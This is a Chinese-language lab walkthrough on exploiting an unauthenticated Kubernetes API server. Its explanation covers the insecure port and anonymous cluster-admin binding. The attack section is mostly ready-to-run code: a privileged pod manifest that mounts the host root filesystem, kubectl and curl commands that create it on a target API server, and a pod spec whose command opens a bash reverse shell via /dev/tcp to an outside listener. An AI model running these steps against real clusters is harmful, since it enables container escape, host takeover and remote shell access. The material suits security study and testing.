作者 修订时间
wjlin0 2023-07-13 23:34:09

Apiserver

API 服务器是 Kubernetes 控制平面的组件, 该组件负责公开了 Kubernetes API,负责处理接受请求的工作。 API 服务器是 Kubernetes 控制平面的前端。Kubernetes API 服务器的主要实现是 kube-apiserverkube-apiserver 设计上考虑了水平扩缩,也就是说,它可通过部署多个实例来进行扩缩。 你可以运行 kube-apiserver 的多个实例,并在这些实例之间平衡流量。

以上是k8s官方对apiserver的解释,我们可以看到 apiserver 其实就是为了统一方便管理。 部署过k8s都知道调用apiserver的命令行工具就是kubectl,例如在主机执行 kubectl get pods -A

image-20230707223132174

其实就是可以理解为 调用 api /api/v1/pods/

image-20230707223255087

kube-apiserver启动参数目前官方文档中没有对这个参数的解释了中 存在两个参数 insecureinsecure-bind-address 该参数可将未授权的端口暴露出来

kube-apiserver --h

image-20230707234104496

或者管理员配置了匿名访问,例如

[root@k8s-master01 k8s.yaml]# cat rbac.yaml 
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: anonymous-access
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: Group
  name: system:unauthenticated
[root@k8s-master01 k8s.yaml]# kubectl apply -f rbac.yaml

kubectl利用

安装 kubectl

curl -LO https://dl.k8s.io/release/v1.18.5/bin/linux/amd64/kubectl # 安装指定版本
curl.exe -LO "https://dl.k8s.io/release/v1.18.5/bin/windows/amd64/kubectl.exe" # windows

制作恶意容器`shell.yaml

# shell.yaml
apiVersion: v1
kind: Pod
metadata:
  name: shell-pod
  # namespace: nginx # 不指定则为默认空间 default
spec:
  containers:
    - name: my-container # 容器名称 
      image: nginx # 镜像
      command: ["tail", "-f", "/dev/null"] # 不关闭进程
      securityContext:
        privileged: true # 特权模式
      volumeMounts: # 挂载数据卷 / -> /hosts
        - name: root-volume 
          mountPath: /hosts
  volumes:
    - name: root-volume
      hostPath:
        path: /
  nodeName: k8s-master01 # 选择宿主机 可以不选择 保持默认

启动、并查看

kubectl -s http://192.168.3.200:8080 apply -f shell.yaml
kubectl -s http://192.168.3.200:8080 get po -A

image-20230707230304985

进入容器

kubectl -s http://192.168.3.200:8080 exec -it <容器名称> -n <命名空间> -- bash 
root@shell-pod:/# whoami

image-20230707230045674

Api 利用

制作恶意容器文件

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "re-shell-pod"
  },
  "spec": {
    "containers": [
      {
        "name": "re-shell-pod",
        "image": "nginx",
        "command": ["/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/192.168.3.1/8888 0>&1"],
        "securityContext": {
          "privileged": true
        },
        "volumeMounts": [
          {
            "name": "root-volume",
            "mountPath": "/hosts"
          }
        ]
      }
    ],
    "volumes": [
      {
        "name": "root-volume",
        "hostPath": {
          "path": "/"
        }
      }
    ],
    "nodeName": "k8s-master01"
  }
}

新建恶意容器

curl -X POST -H "Content-Type: application/json" --data-binary "@re-shell.json" http://192.168.3.200:8080/api/v1/namespaces/<命名空间>/pods

image-20230707231610327

查看状态

curl http://192.168.3.200:8080/api/v1/namespaces/default/pods/re-shell-pod/status

image-20230707232122633

监听反弹shell端口

image-20230707232204596

结论

​ 对于这类利用仅仅在于 apiserver 未配置认证的清空下,而目前的环境不太可能将不安全的端口爆破出来,而且最新版本也对这两个参数也没有再解释很难去利用未授权

更多利用方式看官方文档即可 Kubernetes API

results matching ""

    No results matching ""